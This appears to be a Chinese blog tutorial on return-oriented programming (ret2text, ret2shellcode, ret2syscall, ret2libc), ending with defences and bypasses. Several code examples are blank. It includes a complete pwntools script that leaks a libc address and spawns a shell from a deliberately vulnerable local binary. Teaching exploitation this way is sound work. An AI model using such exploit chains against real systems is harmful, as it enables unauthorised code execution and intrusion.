一、ROP 的基本概念与产生背景
什么是 ROP?
ROP(Return-Oriented Programming,返回导向编程)是一种高级的内存攻击技术。它的核心思想是:当程序存在内存保护机制(如 NX/DEP)阻止直接执行注入的代码时,攻击者可以通过复用程序中已有的代码片段(称为 gadget),组合这些片段来实现恶意功能。
为什么需要 ROP?
现代操作系统引入了多种安全机制来防止代码执行攻击:
- NX/DEP(数据执行保护):将数据区域(栈、堆)标记为不可执行,防止直接执行注入的 shellcode
- ASLR(地址空间布局随机化):每次程序运行时随机化内存地址布局,增加预测地址的难度
- Stack Canary(栈保护):在栈上的关键数据前后插入检测值,防止栈溢出修改返回地址
ROP 通过不注入新代码,而是重用现有代码的方式,有效绕过了 NX/DEP 保护。
二、关键术语解析 - Gadget:指程序中以 ret(返回)指令结尾的一小段指令序列。每一个 gadget 完成一个很小的操作(比如 pop eax; ret)。它们是 ROP 的"积木块",攻击者将这些碎片组合起来形成完整的攻击链。
- Stack Overflow(栈溢出):一种经典的程序漏洞。由于程序未检查输入数据的长度,导致过多的数据覆盖了栈上的其他重要数据(如函数的返回地址)。这是触发 ROP 的常见前提条件。
- NX/DEP(不可执行保护):一种安全机制,它将数据内存区(如栈、堆)标记为不可执行,从而防止攻击者直接执行注入的 shellcode。
- ASLR(地址空间布局随机化):一种安全机制,每次运行程序时都随机化程序基地址、库文件地址、栈地址等,让攻击者难以猜到 gadgets 的确切地址。
- plt(过程链接表):用于在程序运行时动态解析和跳转到共享库(如 libc)中的函数地址。在 ROP 中常用于调用如 system 等函数。
- got(全局偏移表):存储外部函数(如 libc 中的 puts)实际地址的表格。泄露 GOT 表中的内容可以计算出 libc 的基地址,从而绕过 ASLR。
- Payload(载荷):指攻击者精心构造的一组数据,通常用于利用漏洞。在 ROP 中,payload 就是覆盖返回地址和构建 ROP 链的那一串数据。
- ret2xxx:一系列 ROP 攻击技术的总称,比如 ret2text(返回到程序代码段),ret2libc(返回到 libc 库)等。
三、基本 ROP 技术详解
1. ret2text
ret2text 是控制程序执行程序本身已有的代码 (.text segment)。这种攻击方法要求程序自身的代码段中就有一段现成的、能给我们 shell 的代码(俗称"后门函数")。
攻击原理:程序自己代码里存在危险函数(如 system(“/bin/sh”)),通过栈溢出覆盖返回地址,直接跳转到这个函数地址。
攻击步骤:
- 找到后门函数的地址(如 0x8048436)
- 通过溢出漏洞向缓冲区写入超长数据
- 精心构造 payload:[填充缓冲区][覆盖旧的 ebp][覆盖返回地址为后门函数地址]
- 当函数返回时,会跳转到后门函数执行
示例代码:

2. ret2shellcode
ret2shellcode 控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。
攻击前提:shellcode 所在的内存区域(通常是栈)必须有可执行权限(即没有开启 NX 保护)。
攻击步骤: - 编写 shellcode(调用 execve(“/bin/sh”, NULL, NULL) 的汇编代码)
- 通过栈溢出将 shellcode 注入到栈上的缓冲区
- 计算 shellcode 在栈上的起始地址
- 构造 payload:[shellcode 机器码][填充垃圾数据][shellcode 起始地址]
- 函数返回时跳转到栈上执行 shellcode
现状:现代系统和编译器默认开启了 NX 保护,栈不再可执行,因此这种技术现在已较少使用。
3. ret2syscall
ret2syscall 控制程序执行系统调用,获取 shell。在操作系统底层,获取 shell 的方式其实最终都是通过系统调用来实现的。
系统调用原理:在 32 位 Linux 中,通过 int 0x80 指令发起系统调用。需要预先设置寄存器:
• eax:系统调用号(execve 是 11 或 0xb)
• ebx:第一个参数(/bin/sh 的地址)
• ecx:第二个参数(0)
• edx:第三个参数(0)
攻击步骤: - 寻找需要的 gadgets:
o pop eax; ret
o pop ebx; ret
o pop ecx; ret
o pop edx; ret
o int 0x80; ret - 构造 ROP 链,依次设置寄存器值
- 最后执行 int 0x80 发起系统调用
ROP链示例:

4. ret2libc
ret2libc 控制程序执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置。一般情况下,我们会选择执行 system(“/bin/sh”)。
攻击变种:
• 无 ASLR 情况:libc 地址固定,直接计算 system 和 /bin/sh 的地址
• 有 ASLR 情况:需要先泄露 libc 函数地址,计算 libc 基址,再计算 system 和 /bin/sh 的真实地址
有 ASLR 的攻击步骤: - 第一次溢出:泄露 libc 函数地址
o 调用 puts@plt 输出 puts@got 的内容
o 接收泄露的 puts 函数真实地址 - 计算基址:
o libc_base = leaked_puts_address - offset_puts
o system_real = libc_base + offset_system
o binsh_real = libc_base + offset_binsh - 第二次溢出:调用 system(“/bin/sh”)
o 构造 payload 调用 system_real,参数为 binsh_real
四、实战示例:ret2libc攻击
1.目标程序分析
存在栈溢出漏洞的程序:

2.编译命令(关闭栈保护,开启NX)
gcc -m32 -fno-stack-protector -o vuln vuln.c
3.完整攻击脚本
from pwn import *
context(arch='i386', os='linux')
def main():
# 加载二进制文件和libc
elf = ELF('./vuln')
libc = elf.libc
# 第一部分:泄露libc地址
rop1 = ROP(elf)
rop1.raw(b'A' * 140) # 偏移量
rop1.puts(elf.got['puts'])
rop1.call('vulnerable_function')
p = process('./vuln')
p.sendline(rop1.chain())
# 跳过提示文本
p.recvuntil('input: ')
# 获取泄露的地址
leaked_puts = u32(p.recv(4))
log.info(f"Leaked puts address: {hex(leaked_puts)}")
# 计算libc基址
libc.address = leaked_puts - libc.symbols['puts']
log.info(f"Libc base address: {hex(libc.address)}")
# 计算system和/bin/sh地址
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
log.info(f"System address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(bin_sh_addr)}")
# 第二部分:调用system("/bin/sh")
rop2 = ROP(elf)
rop2.raw(b'A' * 140)
rop2.call(system_addr, [bin_sh_addr])
rop2.call('exit', [0])
p.sendline(rop2.chain())
p.interactive()
if __name__ == '__main__':
main()
五、寻找 Gadget 的方法
1.在 Ubuntu 中使用命令行工具
- ROPgadget:

- ropper:

2.在 IDA Pro 中寻找 Gadget
*使用内置搜索功能:
• 文本搜索(Text Search):查找已知的指令字符串
• 代码搜索(Code Search):搜索特定的指令或指令序列
• 二进制搜索(Binary Search):最常用,直接输入指令的机器码搜索(快捷键 Alt+B)
六、防御措施与绕过方法
常见防御措施:
• ASLR:随机化内存布局
• Stack Canaries:检测栈溢出
• Control Flow Integrity (CFI):验证控制流转移
• Shadow Stack:存储返回地址的副本
常见绕过方法:
• 信息泄露:通过漏洞泄露内存地址,绕过 ASLR
• Partial Overwrite:部分覆盖地址,绕过 ASLR
• Heap spraying:在堆上布置大量恶意对象
• JOP/COP:使用 jump/call 指令而非 ret 指令的变种

被折叠的 条评论
为什么被折叠?



